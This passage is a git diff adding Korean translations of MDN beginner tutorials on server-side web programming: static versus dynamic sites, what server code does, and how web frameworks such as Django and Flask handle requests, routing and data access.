+ <dd>마지막 글은 서버 사이드 웹 어플리케이션이 웹 브라우저의 요청에 응답하기 위해 무엇을 해야하는 지를 보여줍니다. 이제 웹 프레임워크가 어떻게 이러한 일들을 간소화 하는지 보여주고, 당신이 첫 서버 사이드 웹 어플리케이션에 맞는 프레임워크를 선택하도록 도울 것입니다. </dd>
+ <dt>웹사이트 보안 (<a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>)</dt>
+ <dd>웹사이트 보안은 웹사이트 설계 및 이용의 모든 측면에서 주의를 필요로 합니다. 이 입문 글이 당신을 웹사이트 보안 전문가로 만들어주지는 않지만, 가장 일반적인 위협들로 부터 웹 어플리케이션을 튼튼하게 만드는 첫 중요한 단계들을 이해하게끔 도울 것입니다. </dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<p>이 "개요" 모듈은 아직 어떠한 코드도 보여주지 않았기 때문에 어떠한 평가도 없습니다. 우리는 현 시점에서, 당신이 서버 사이드 프로그래밍을 통해 어떤 기능들을 보여줄 수 있는지 제대로 이해하고, 당신의 첫 웹사이트를 만드는데에 어떤 서버 사이드 웹 프레임 워크를 사용할 지 결정했기를 바랍니다.</p>
diff --git a/files/ko/learn/server-side/first_steps/introduction/index.html b/files/ko/learn/server-side/first_steps/introduction/index.html
new file mode 100644
index 0000000000..aa635c6d37
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/introduction/index.html
@@ -0,0 +1,184 @@
+---
+title: Introduction to the server side
+slug: Learn/Server-side/First_steps/Introduction
+tags:
+  - 서버
+  - 서버측 프로그래밍
+  - 초보자
+translation_of: Learn/Server-side/First_steps/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">MDN의 초심자용 서버측 프로그래밍 코스에 오신 것을 환영합니다! 첫번째 기사는 높은 수준의 서버측 프로그래밍을 살펴보고, "이게 뭐야?" , "클라이언트 측 프로그래밍과 어떻게 다르지?", 그리고 "이게 왜 유용한데?"같은 질문에 답할 것입니다. 이 기사를 읽은 뒤 당신은 웹 사이트가 서버측 코딩을 통해 이용 할 수 있는 추가적인 효과를 이해 할 수 있을것 입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 과목:</th>
+   <td>기본적인 컴퓨터 활용법. 웹 서버가 무엇인지에 대한 기본적인 이해.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>서버 측 프래그래밍 무엇이고 어떤 일을 할 수 있는지 그리고 클라이언트 프로그래밍과 어떤점이 다른지에 대해 익숙해 지기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>대부분의 큰 사이트들은 동적으로 보여주기 위한 다양한 데이터가 필요 할 때 서버측 코드를 사용합니다, 일반적으로 서버에있는 데이터베이스에 저장된 데이터를 빼내어 일부 코드를 통해 보일 수 있도록 클라이언트에게 송신합니다(예: HTML 그리고 JavaScript). 아마도 서버측 코드의 큰 장점은 개별 사용자를 위한 맞춤 웹사이트 컨텐츠를 제공 한다는 것 입니다. 동적 사이트는 사용자의 선호도 및 습관에 따라 더 관련성이 높은 콘텐츠를 강조 표시 할 수 있습니다. 또한 이것은 사이트를 저장된 개인 선호와 정보를 사용하기 쉽게 만들어 줍니다 — 예를 들면 후속 지급을 간소화 하기 위한 저장된 신용카드 정보의 재사용. 심지어 사이트 외부 사용자와의 상호 작용을 허용하고 전자 메일 또는 다른 채널을 통해 알림 및 업데이트를 보냅니다. 이러한 모든 기능을 통해 사용자와의 관계를 더욱 깊게 할 수 있습니다.</p>
+
+<p>현대의 전 세계 웹 개발자들은 서버측 개발을 공부하는 것을 권고 하고 있습니다.</p>
+
+<h2 id="서버측_웹_사이트_프로그래밍이_무엇인가요">서버측 웹 사이트 프로그래밍이 무엇인가요?</h2>
+
+<p><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">web servers</a>와 통신하는 웹 브라우저는 <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransport <strong>P</strong>rotocol ({{glossary("HTTP")}})을사용하고 있습니다. 당신이 웹 페이지의 링크를 클릭하거나 폼을 전송하거나 검색을 시작할 때 당신의 웹 브라우저는<strong> HTTP request</strong>를 목적 서버에 전달합니다. 요청에는 영향을받는 리소스를 식별하는 URL, 필요한 작업을 정의하는 메서드가 포함됩니다 (예를 들면 리소스를 가져 오거나, 삭제하거나 게시하는 방법), 그리고 URL매개변수(<a href="https://en.wikipedia.org/wiki/Query_string">query 문자열</a>을 통해 전송된 필드 값-쌍), POST 데이터 (<a href="/en-US/docs/Web/HTTP/Methods/POST">HTTP POST method</a>에 의해 전송된 데이터), 또는{{glossary("Cookie", "associated cookies")}}를 이용하여 인코딩된 추가 정보를 포함 할 수 있습니다.</p>
+
+<p>웹 서버는 클라이언트의 요청이 오길 기다리고, 요청이 도착하면 작업을 진행하여, 웹 브라우저에 <strong>HTTP 응답</strong> 메시지를 보냅니다. 그 응답은 요청이 성공 또는 실패를 지시하는 상태 라인을 포함하고 있습니다 (예: "HTTP/1.1 200 OK" for success). 요청에 대한 응답이 성공적이라면 본문은 요청 리소스(예. 새로운 HTML 페이지, 또는 이미지, 기타 등등...)를 포함 할 것이며 이는 웹 브라우저에 보여질 수 있습니다.</p>
+
+<h3 id="정적_웹_사이트(Static_sites)">정적 웹 사이트(Static sites)</h3>
+
+<p><em>아래의 다이어그램은 정적사이트의 기본적인 웹 구조를 보여주고 있습니다</em>(정적 사이트는 특별한 리소스 요청이 들어올 때 서버에서 하드 코딩된 동일한 콘텐츠를 반환합니다). 사용자가 페이지를 탐색하거나, 브라우저가 지정된 URL에  HTTP "GET"요청을 보낼 때 서버는 파일 시스템에서 요청한 문서를 검색하고 문서와 <a href="/en-US/docs/Web/HTTP/Status#Successful_responses">success status</a> (보통 200 OK)를 포함한 HTTP응답을 반환 합니다. 만약 어떠한 이유 때문에 파일을 검색하면 error status(<a href="/en-US/docs/Web/HTTP/Status#Client_error_responses">client error responses</a> 그리고 <a href="/en-US/docs/Web/HTTP/Status#Server_error_responses">server error responses</a>를 참고 하십시오)가 반환됩니다.</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p>
+
+<h3 id="동적_웹_사이트(Dynamic_sites)">동적 웹 사이트(Dynamic sites)</h3>
+
+<p>동적 웹 사이트는 필요할 때에 동적으로 응답 콘텐츠가 생성 됩니다. 동적 웹사이트의 웹 페이지는 보통 HTML 템플릿에 있는 자리 표시자에 데이터베이스에서 가져온 데이터를 넣어 생성 됩니다 (이 방법은 많은 양의 콘텐츠를 저장하기에 정적 웹 사이트를 이용 하는 것 보다  효과적 입니다). 동적 웹사이트는 사용자또는 저장된 환경을 기반으로 URL에 대해 다른 데이터를 반환 할 수 있으며, 응답을 반환하는 과정에서 다른 작업을 수행 할 수 있습니다(예: 알림 보내기).</p>
+
+<p>동적 웹사이트를 지원하는 코드는 서버에서 실행 되어야 합니다. 이러한 코드를 만드는 것은 "<strong>server-side programming</strong>"이라고 알려져 있습니다 (또는 "<strong>back-end scripting</strong>"이라고 불리기도 합니다).</p>
+
+<p>아래의 다이어그램은 동적 웹 사이트의 간단한 구조를 보여주고 있습니다. 이전 다이어 그램과 같이, 브라우저는 HTTP 요청을 서버에 보내고, 서버는 요청을 처리하고 적절한 HTTP응답을 반환합니다. 정적 리소스의 요청은 정적 사이트와 같은 방법으로 처리 합니다(정적 파일은 변하지 않는 파일입니다 — 전형적으로: CSS, JavaScript, Images, pre-created PDF files 등등). </p>
+
+<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p>
+
+<p>동적 리소스를 위한 요청은 (2) 서버측 코드에 대신 전달 됩니다(<em>다이어그램에서 </em> <em>Web Application</em>으로 보이는 부분). "동적 응답"을 위해 서버는 응답을 해석하여 필요한 정보를 데이터 베이스에서 읽고(3), 탐색한 데이터와 HTML템플릿을 결합하고(4), 생성된 HTML을 포함한 응답을 다시 보내줍니다(5,6). </p>
+
+<div>
+<h2 id="서버측과_클라이언트측의_프로그래밍은_같은가요">서버측과 클라이언트측의 프로그래밍은 같은가요?</h2>
+</div>
+
+<p>다시 돌아와서 서버측에 관여하는 코드와 클라이언트 측에 관여하는 코드를 살펴 봅시다. 각각의 케이스마다 코드는 명확히 다릅니다:</p>
+
+<ul>
+ <li>그들은 관심과 목적이 서로 다릅니다.</li>
+ <li>일반적으로 같은 프로그래밍 언어를 쓰지 않습니다( JavaScript는 예외적으로 서버와 클라이언트측 둘다 사용 할 수 있습니다).</li>
+ <li>그들은 다른 운영체제 환경에서 수행 됩니다.</li>
+</ul>
+
+<p>브라우저에서 실행되는 코드는 <strong>client-side code</strong>라고 알려져 있습니다. <strong>client-side code</strong>의 주 관심사는 렌더링된 웹페이지의 모양과 행동을 개선시키는 것 입니다. 이것은 UI 구성 요소 선택 및 스타일 지정, 레이아웃 만들기, 탐색, 양식 유효성 검사 등을 포함 하고 있습니다. 대조적으로, server-side 웹 사이트 프로그래밍은 대부분 브라우저의 요청에 대한 응답으로 어떤 컨텐츠를 반환하는지 선택하는것을 포함 합니다. Server-side code는 제출 된 데이터 및 요청의 유효성 검사, 데이터 저장 및 검색을위한 데이터베이스 사용, 필요에 따라 올바른 데이터 전송과 같은 작업을 처리합니다.</p>
+
+<p>클라이언트 측 코드는 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 그리고 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>로 작성됩니다— 이것들은 웹 브라우저 안에서 실행되고 기본운영체제와 연결되지 않거나 아주 약간 연결 됩니다(파일 시스템의 연결의 제한이 포함 되어 있습니다). 웹 개발자는 모든 사용자가 웹 사이트를 보는 데 사용할 수있는 브라우저를 조작 할 수 없습니다 —브라우저는 클라이언트 측 코드 기능과 일관성없는 수준의 호환성을 제공하며, 클라이언트 측 프로그래밍의 어려움은 브라우저 지원의 차이를 정상적으로 처리 하는 것 입니다.</p>
+
+<p>서버측 코드는 다양한 프로그래밍 언어로 작성 될 수 있습니다 — 대중적인 서버측 웹 언어를 포한 한 예로 PHP, Python, Ruby 그리고 C#. 서버측 코드는 서버의 운영체제와 모든 접속권한을 가지며, 개발자는 그들이 원하는 프로그래밍 언어(그리고 특정 버전)를 사용할 수 있습니다.</p>
+
+<p>개발자는 일반적으로 <strong>web frameworks</strong>를 이용하여 코드를 작성 합니다. 웹 프레임 워크는 일반적인 문제를 해결하고 개발 속도를 높이며 특정 도메인에서 직면하는 다양한 유형의 작업을 단순화하도록 설계된 함수, 객체, 규칙 및 기타 코드 구성 요소의 모음입니다. 다시 말하지만 클라이언트와 서버 측 코드 모두 프레임 워크를 사용하지만 도메인은 매우 다르므로 프레임 워크도 다릅니다. 클라이언트 측 웹 프레임 워크는 레이아웃 및 프리젠 테이션 작업을 단순화하는 반면 서버 측 웹 프레임 워크는 직접 구현해야하는 많은 "공통"웹 서버 기능을 제공합니다(예: 세션 지원, 사용자와 인증을 지원, 데이터베이스와 쉬운 연결, 템플리트 라이브러리, 기타 등등.).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 클라이언트 측 프레임워크는 때때로 클라이언트측 코드를 개발하는 속도를 올릴 수 있게 도와주도록 사용하지만, 당신은 모든 코드를 직접 작성 할 수도 있습니다; 사실은 당신이 작고, 간단한 사이트의 UI를 만든다면 당신이 직접 작성하는 코드가 더 빠르고 효과적일수 있습니다. 이와 대조적으로, 당신은 서버측 웹 앱의 컴포넌트를 프레임 워크 없이 작성 하는것은 거의 고려 하지 않을 것 입니다 — 파이썬에서 HTTP 서버와 같은 중요한 기능구현을 처음부터 하는 것은 어렵지만 Django와 같은 Python 웹 프레임 워크는 다른 유용한 도구와 함께 즉시 사용할 수있는 도구를 제공합니다.</p>
+</div>
+
+<div>
+<h2 id="서버측에서_무엇을_할_수_있나요">서버측에서 무엇을 할 수 있나요?</h2>
+
+<p>서버 측 프로그래밍은 개별 사용자에 맞게 정보를 효율적으로 전달할 수있게 해주고 사용자 경험을 훨씬 향상시킬 수 있기 때문에 매우 유용합니다.</p>
+</div>
+
+<p>Amazon과 같은 회사는 서버 측 프로그래밍을 사용하여 제품 검색 결과를 작성하고 고객 선호도 및 이전 구매 습관을 기반으로 한 제품 제안, 구매 단순화 등을 수행합니다. 은행은 고객 정보를 저장하고 권한이있는 사용자만 보고 거래 할 수 있도록 서버 측 프로그래밍을 사용합니다. Facebook, Twitter, Instagram 및 Wikipedia와 같은 기타 서비스는 서버 측 프로그래밍을 사용하여 재미있는 컨텐츠에 대한 액세스를 강조, 공유 및 제어합니다.</p>
+
+<p>서버 측 프로그래밍의 일반적인 용도와 이점은 다음과 같습니다. 겹치는 부분이 있음을 알 수 있습니다!</p>
+
+<h3 id="효율적인_저장소와_정보_전달">효율적인 저장소와 정보 전달</h3>
+
+<p>Amazon에서 얼마나 많은 제품을 사용할 수 있는지 상상해보십시오. Facebook에 얼마나 많은 게시물이 작성되었는지 상상해보십시오. 각 제품 또는 게시물에 대해 별도의 정적 페이지를 만드는 것은 완전히 비효율적입니다.</p>
+
+<p>서버 측 프로그래밍을 사용하면 정보를 데이터베이스에 저장하고 HTML 및 기타 유형의 파일(예: PDF, 이미지, etc.)을 동적으로 생성하고 반환 할 수 있습니다. 또한 적절한 클라이언트 웹 프레임워크로 렌더링하기 위해 간단한 데이터({{glossary("JSON")}}, {{glossary("XML")}}, etc.)도 반환 할 수 있습니다 (이렇게하면 서버의 처리 부담과 전송해야하는 데이터의 양이 줄어 듭니다.).</p>
+
+<p>서버는 데이터베이스에서 정보를 전송하는 것에 국한되지 않고, 소프트웨어 도구의 결과 또는 통신 서비스의 데이터를 반환 할 수도 있습니다. 콘텐츠는 수신중인 클라이언트 장치의 유형을 대상으로 할 수도 있습니다.</p>
+
+<p>왜냐하면 데이터베이스의 정보는 다른 비즈니스 시스템에 의해 간단히 공유되고 업데이트 될 수 있기 때문입니다(예를 들어, 제품이 온라인 또는 상점에서 판매 될 때, 상점은 재고 데이터베이스를 갱신 할 수 있습니다).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 효율적인 저장 및 정보 전달을위한 서버 측 코드의 이점을보기 위해 상상력을 집중하지 않아도됩니다:</p>
+
+<ol>
+ <li>Amazon 또는 기타 전자 상거래 사이트로 이동하십시오.</li>
+ <li>여러 개의 키워드를 검색하고 결과가 나타나더라도 페이지 구조가 변하지 않는지 유의 하십시오</li>
+ <li>2 개 또는 3 개의 다른 제품을 엽니 다. 공통된 구조와 레이아웃을 갖는지에 대해 다시 유의하십시오.  다른 제품의 내용은 데이터베이스에서 가져 왔습니다.</li>
+</ol>
+
+<p>일반적인 검색 용어 ( "fish", say)의 경우 문자 그대로 수백만 개의 반환 값을 볼 수 있습니다. 데이터베이스를 사용하면 이러한 정보를 효율적으로 저장하고 공유 할 수 있으며 정보의 표시를 한 곳에서만 제어 할 수 있습니다.</p>
+</div>
+
+<h3 id="맞춤형_사용자_경험(user_experience)">맞춤형 사용자 경험(user experience)</h3>
+
+<p>서버는 사용자에게 편안함과 맞춤형 사용자 경험을 제공하기 위해 사용자의 정보를 사용하거나 저장 할 수 있습니다. 예를 들어 많은 사이트들은 신용카드 세부 정보를 저장하므로 그것을 다시 입력 할 필요가 없습니다. Google Maps와 같은 사이트는 라우팅 정보를 제공하고 검색 결과에서 지역 비즈니스를 강조 표시하기 위해 집과 현재 위치를 사용합니다.</p>
+
+<p>사용자의 습관에 대한 면밀한 분석은 그들의 흥미를 예측하거나 사용자 맞춤 응답과 알림을 주는데에 사용 될 수 있습니다, 예를 들어 이전에 방문했거나 인기있는 위치 목록을지도에서 볼 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 익명의 사용자로  <a href="https://maps.google.com/">Google Maps</a>로 이동하고 <strong>길 찾기</strong> 버튼을 선택한 다음 여행의 시작 및 종료 지점을 입력하십시오. 이제 Google 계정을 사용하여 시스템에 로그인하십시오 (이 과정에 대한 정보는 아래에서 방향을 선택하는 패널에 나타납니다). 이제 웹 사이트에서 시작 지점과 종료 지점으로 집과 직장 위치를 ​​선택할 수 있습니다 (아직 완료하지 않았다면이 세부 정보를 저장하십시오).</p>
+</div>
+
+<h3 id="컨텐츠에_대한_접근_제한">컨텐츠에 대한 접근 제한</h3>
+
+<p>서버측 프로그래밍을 통해 사용자만 접근 할 수 있도록 제한하거나 사용자가 볼수 있는 정보만 제공 할 수 있습니다.</p>
+
+<p>실제 사례는 다음과 같습니다:</p>
+
+<ul>
+ <li>Facebook과 같은 소셜 네트워크는 사용자가 자신의 데이터를 완벽하게 제어 할 수 있도록 허용하지만 친구 만 보거나 댓글을 달 수 있습니다. 사용자는 자신의 데이터를 볼 수있는 사용자를 결정하고, 확장자별로 피드에 데이터가 표시됩니다 — 승인은 사용자 환경의 핵심 부분입니다!</li>
+ <li>
+  <p>현재 당신이 보고 있는 이 사이트는 모든 사람들이 기사를 볼 수 있지만 로그인 한 사용자만 내용을 편집 할 수 있습니다. 이를 시도하려면 이 페이지 상단의 편집 버튼을 클릭하십시오 - 로그인되어있는 경우 편집보기가 표시됩니다. 로그인하지 않으면 가입 페이지로 이동합니다.</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 콘텐츠에 대한 액세스가 제어되는 다른 실제 사례를 고려하십시오. 예를 들어 은행의 온라인 사이트로 이동하면 무엇을 볼 수 있습니까? 계정에 로그인 - 어떤 추가 정보를보고 수정할 수 있습니까? 은행만 변경 될 수  있음을 알 수 있는 정보는 무엇입니까?</p>
+</div>
+
+<h3 id="세션과_상태_저장">세션과 상태 저장</h3>
+
+<p>개발자는 서버 프로그래밍을 사용하여<strong> sessions</strong>을 만들 수 있습니다 — 서버가 현재 사이트의 사용자 정보를 저장하거나 정보에 기반한 다른 응답을 보낼 수 있는 기본적인 메커니즘 입니다. 예를 들어, 사이트에서 사용자가 이전에 로그인하여 이메일 또는 주문 내역에 대한 링크를 표시하거나 간단한 게임의 상태를 저장하여 사용자가 사이트를 다시 이용할 때 떠났던 부분부터 다시 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 구독 모델이있는 신문 사이트를 방문하여 많은 수의 탭을 엽니다(예: <a href="http://www.theage.com.au/">The Age</a>). 몇 시간 / 일 동안 사이트를 계속 방문하십시오. 결국 구독 방법을 설명하는 페이지로 리디렉션되기 시작하고 기사에 액세스 할 수 없게됩니다. 이 정보는 쿠키에 저장된 세션 정보의 예 입니다.</p>
+</div>
+
+<h3 id="알림과_대화">알림과 대화</h3>
+
+<p>서버는 일반적이거나 유저에 특화된 알림을 웹사이트 자신이나 이메일, SMS, 인스턴트 메시징, 비디오 대화, 또는 다른 통신 서비스를 통해 보낼 수 있습니다</p>
+
+<p>몇개의 예가 포함 되어 있습니다:</p>
+
+<ul>
+ <li>Facebook과 Twitter 당신의 새로운 연락에 대한 알림을 이메일이나 SMS로 보내 줍니다.</li>
+ <li>Amazon은 당신 관심을 가질만한 이미 구입했거나 본 제품과 유사한 제품을 제안하는 제품 전자 메일을 정기적으로 보냅니다.</li>
+ <li>웹서버는 사이트의 관리자에게 서버의 메모리가 부족하거나 의심스러운 활동을 하는 사용자가 있을때 메시지를 보내서 경고 할 수 있습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 가장 일반적인 유형의 알림은 "등록 확인"입니다. 관심있는 큰 사이트 (Google, Amazon, Instagram 등)를 선택하고 이메일 주소를 사용하여 새 계정을 만드십시오. 귀하는 귀하의 등록을 확인하거나 귀하의 계정을 인증하기 위해 승인을 요구하는 이메일을 곧 받게 될 것입니다.</p>
+</div>
+
+<h3 id="정보_분석">정보 분석</h3>
+
+<p>웹사이트는 사용자에대한 많은 정보를 수집할 수 있습니다: 그들이 뭘 검색하는지, 그들이 뭘 사는지, 그들이 뭘 추천하는지, 그들이 각 페이지 마다 얼마나 머무르는지. 서버 측 프로그래밍을 사용하여 데이터의 분석을 기반으로 응답을 구체화 할 수 있습니다.</p>
+
+<p>그 예로, Amazon과 Google둘다 전에 검색하였던 결과(및 구매)를 바탕으로 제품 광고를 합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Facebook 사용자인 경우 기본 피드로 이동하여 게시물 스트림을 확인하십시오. 일부 게시물의 숫자 순서가 어긋나는 것에 유의하십시오. 특히 "좋아요"가 많은 게시물은 최근 게시물보다 목록에서 더 자주 표시됩니다. 또한 어떤 광고가 게재 되고 있는지 살펴보십시오. 다른 사이트에서 봤던 광고를 볼 수 있습니다. 콘텐츠 및 광고를 강조하는 Facebook의 알고리즘은 약간의 수수께끼 일 수 있지만 좋아하는 것과 보는 습관에 달려 있다는 것은 분명합니다.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>축하합니다, 당신은 첫번째 기사인 서버측 프로그래밍을 끝까지 읽으셨습니다. </p>
+
+<p>당신은 이제 서버측 코드가 웹 서버 위에서 실행되고 그것의 주 역할은 사용자에게 전달하는 정보를 컨트롤 한다는걸 알게 되었습니다(클라이언트 측 코드는 사용자에게 데이터의 구조와 표현을 처리합니다). 또한 사용자별로 맞춤 설정된 정보를 효율적으로 제공하고 서버 측 프로그래머 일 때 수행 할 수있는 작업에 대한 좋은 아이디어가있는 웹 사이트를 만들 수 있으므로 유용하다는 점도 이해해야합니다.</p>
+
+<p>마지막으로, 서버 측 코드는 여러 프로그래밍 언어로 작성 될 수 있으며 전체 프로세스를보다 쉽게하기 위해 웹 프레임 워크를 사용해야한다는 것을 이해해야합니다. </p>
+
+<p>향후 기사에서는 첫 번째 사이트에 가장 적합한 웹 프레임 워크를 선택할 수 있도록 도와 드리겠습니다. 다음은 주요 클라이언트 - 서버 상호 작용에 대해 좀 더 자세하게 설명하겠습니다.</p>
+
+<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ko/learn/server-side/first_steps/web_frameworks/index.html b/files/ko/learn/server-side/first_steps/web_frameworks/index.html
new file mode 100644
index 0000000000..24c252285a
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/web_frameworks/index.html
@@ -0,0 +1,312 @@
+---
+title: Server-side web frameworks
+slug: Learn/Server-side/First_steps/Web_frameworks
+translation_of: Learn/Server-side/First_steps/Web_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">이전 기사에서는 웹 클라이언트와 서버 간의 통신 모습, HTTP 요청 및 응답의 성격, 서버 측 웹 애플리케이션이 웹 브라우저의 요청에 응답하기 위해 수행해야하는 작업에 대해 설명했습니다. 이러한 지식을 바탕으로, 지금 시간에는 웹 프레임 워크가 어떻게 그러한 작업을 간단히 만드는지 탐색하고, 당신의 첫 서버측 애플리케이션을 위한 프레임 워크를 어떻게 선택하는지 의견을 드리겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>기본적인 컴퓨터 활용법. HTTP 요청을 서버측 코드가 어떻게 다루고 응답하는지에 대한 높은 수준의 이해 (<a href="https://developer.mozilla.org/ko/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>를 참고 하십시오).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>웹 프레임 워크가 어떻게 서버측 코드를 개발/유지하기 간단하게 만들 수 있는지 이해하고 , 독자들이 그들의 개발에 어떤 프레임워크를 선택 할지에 대해 생각해보게 합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이 섹션에서 실제 웹 프레임 워크에서 가져온 코드 조각을 설명할 것 입니다. 지금 <strong>전부</strong> 이해가 가지 않는것에 대해 당황하지 마세요; 우리는 프레임 워크 특정 모듈의 코드를 통해 작업 할 것입니다.</p>
+
+<h2 id="개요">개요</h2>
+
+<p>서버측 웹 프레임워크("웹 어플리케이션 프레임워크"라고 알려진)는 작성하기 쉽고, 웹 어플리케이션을 유지및 보수하기 쉽게 만드는 소프트웨어 프레임 워크입니다. 적절한 URL핸들러로 라우팅, 데이테베이스와 상호작용, 유저 인증과 세션 지원, 출력 형식(예: HTML, JSON, XML), 웹 공격에 대처하기 위한 보안 강화 같은 일반적인 웹 개발 작업을 단순화하는 도구와 라이브러리를 제공합니다.</p>
+
+<p>다음 섹션은 어떻게 웹 프레임워크가 웹 애플리케이션 개발을 쉽게 하는지 더 상세히 살펴 보겠습니다. 우리는 당신이 사용할 웹 프레임워크를 선택하는 기준을 설명하고 몇 가지 옵션을 나열하겠습니다.</p>
+
+<h2 id="웹_프레임워크는_무엇을_지원하는가">웹 프레임워크는 무엇을 지원하는가?</h2>
+
+<p>웹 프레임워크는 일반적인 웹 개발 작업을 단순화 하는 도구와 라이브러리를 제공합니다. 당신은 서버측 웹 프레임 워크를 사용하지 않을 수 있지만 이는 권고 되지 않습니다 — 서버측 웹 프레임워크를 사용하면 당신의 삶이 더 편해질 것입니다.</p>
+
+<p>이 섹션에서는 웹 프레임워크가 제공하는 몇몇 기능에 대해 논의 하겠습니다(모든 프레임 워크가 그 기능을 제공하지는 않습니다!)</p>
+
+<h3 id="Work_directly_with_HTTP_requests_and_responses">Work directly with HTTP requests and responses</h3>
+
+<p>우리가 마지막 기사에서 봤듯이 웹 서버와 브라우저는 HTTP protocol을 통해 통신합니다 — 서버는 브라우저에서 오는 HTTP요청을 기다리고, HTTP응답에 정보를 반환 합니다. 웹 프레임워크는 이러한 요청과 응답을 할 서버측 코드를 만드는데 작성할 문법을 단순화 합니다. 이것은 당신의 일과 상호작용을 쉽게 하고, 저수준 네트워킹 프리미티브보다 높은 수준의 코드를 이용한다는 것을 의미합니다.</p>
+
+<p>Django (Python) 웹 프레임워크가 어떻게 작동 하는지의 대한 예가 아래에 나와 있습니다. 모든 "view"함수는(요청 핸들러)  요청 정보가 포함된<code>HttpRequest</code>객체를 받고, 형식화된 출력(이번 케이스에선 string)이 있는<code>HttpResponse</code> 객체를 반환합니다.</p>
+
+<pre class="brush: python"># Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+</pre>
+
+<h3 id="Route_requests_to_the_appropriate_handler">Route requests to the appropriate handler</h3>
+
+<p>대부분의 사이트는 여러개의 다른 리소스를 특정된 URL을 통해 접근 할 수 있도록 제공합니다. 통합된 함수로 모든것을 처리하는건 유지하기가 매우 힘듭니다, 그래서 웹 프레임워크는 특별한 처리 함수로 URL패턴을 매핑하는 기능을 제공합니다. 이러한 접근 방법은 유지 보수 기간에 이점이 있습니다. 왜냐하면 기본 코드를 변경하지 않고도 특정 기능을 제공하는 데 사용되는 URL을 변경할 수 있기 때문입니다.</p>
+
+<p>각각의 프레임 워크들은 다른 매핑 메커니즘을 사용합니다. 예를 들면 Flask (Python) 웹 프레임 워크는데코레이터를 사용하여 view함수에 경로를 추가합니다.</p>
+
+<pre class="brush: python">@app.route("/")
+def hello():
+    return "Hello World!"</pre>
+
+<p>Django는 개발자가 URL 패턴과 뷰 함수 사이에 URL 매핑 목록을 정의 할 것을 기대합니다.</p>
+
+<pre class="brush: python">urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^(?P&lt;team_name&gt;\w.+?)/(?P&lt;team_number&gt;[0-9]+)/$', views.best),
+]
+</pre>
+
+<h3 id="Make_it_easy_to_access_data_in_the_request">Make it easy to access data in the request</h3>
+
+<p>데이터는 다양한 방법으로 HTTP응답에 인코딩 될 수 있습니다. 서버에서 파일이나 데이터를 얻기 위한 HTTP GET 요청은 URL인자나 URL구조를 요구한 데이터를 인코딩 할 수 있습니다. 서버에 있는 리소스를 업데이트를 요청하는 HTTP <code>POST</code>는 요청 본문에 "POST data"로 업데이트 정보를 대신 포함합니다. 또한 HTTP 요청은 클라이언트 측 쿠키에서 현재 세션 또는 사용자에 관한 정보를 포함 할 수있습니다.</p>
+
+<p>웹 프레임 워크는 정보에 액세스하기위한 프로그래밍 언어에 적합한 메커니즘을 제공합니다. 예를 들어 Django가 모든 뷰 함수에 전달하는 HttpRequest 객체는 대상 URL, 요청 유형 (예 : HTTP GET), GET 또는 POST 매개 변수, 쿠키 및 세션 데이터 등에 접근 하기 위한 메소드 및 속성을 포함합니다. Django는 URL 매퍼에 "캡처 패턴"을 정의한 URL 구조로 인코딩 된 정보를 전달할 수도 있습니다 (위 섹션의 마지막 코드 단편 참조).</p>
+
+<h3 id="Abstract_and_simplify_database_access">Abstract and simplify database access</h3>
+
+<p>웹 사이트는 사용자와 사용자에 대한 정보 공유를 위한 데이터를 저장 하기 위해서 데이터베이스를 사용합니다. 웹 프레임 워크는 종종  데이터베이스 읽기, 쓰기, 쿼리, 삭제 조작을 추상화 할 수 있는 데이터베이스 계층을 제공 합니다. 이러한 추상 계층을 객체 관계형 매퍼(ORM)라고 합니다.</p>
+
+<p>ORM을 사용 하는 것은 2가지 장점이 있습니다:</p>
+
+<ul>
+ <li>사용하던 코드를 수정하지 않고 기본 데이터베이스를 바꿀 수 있습니다. 이것을 통해 개발자가 사용법에 따른 데이터베이스의 특성을 최적화 할 수 있습니다.</li>
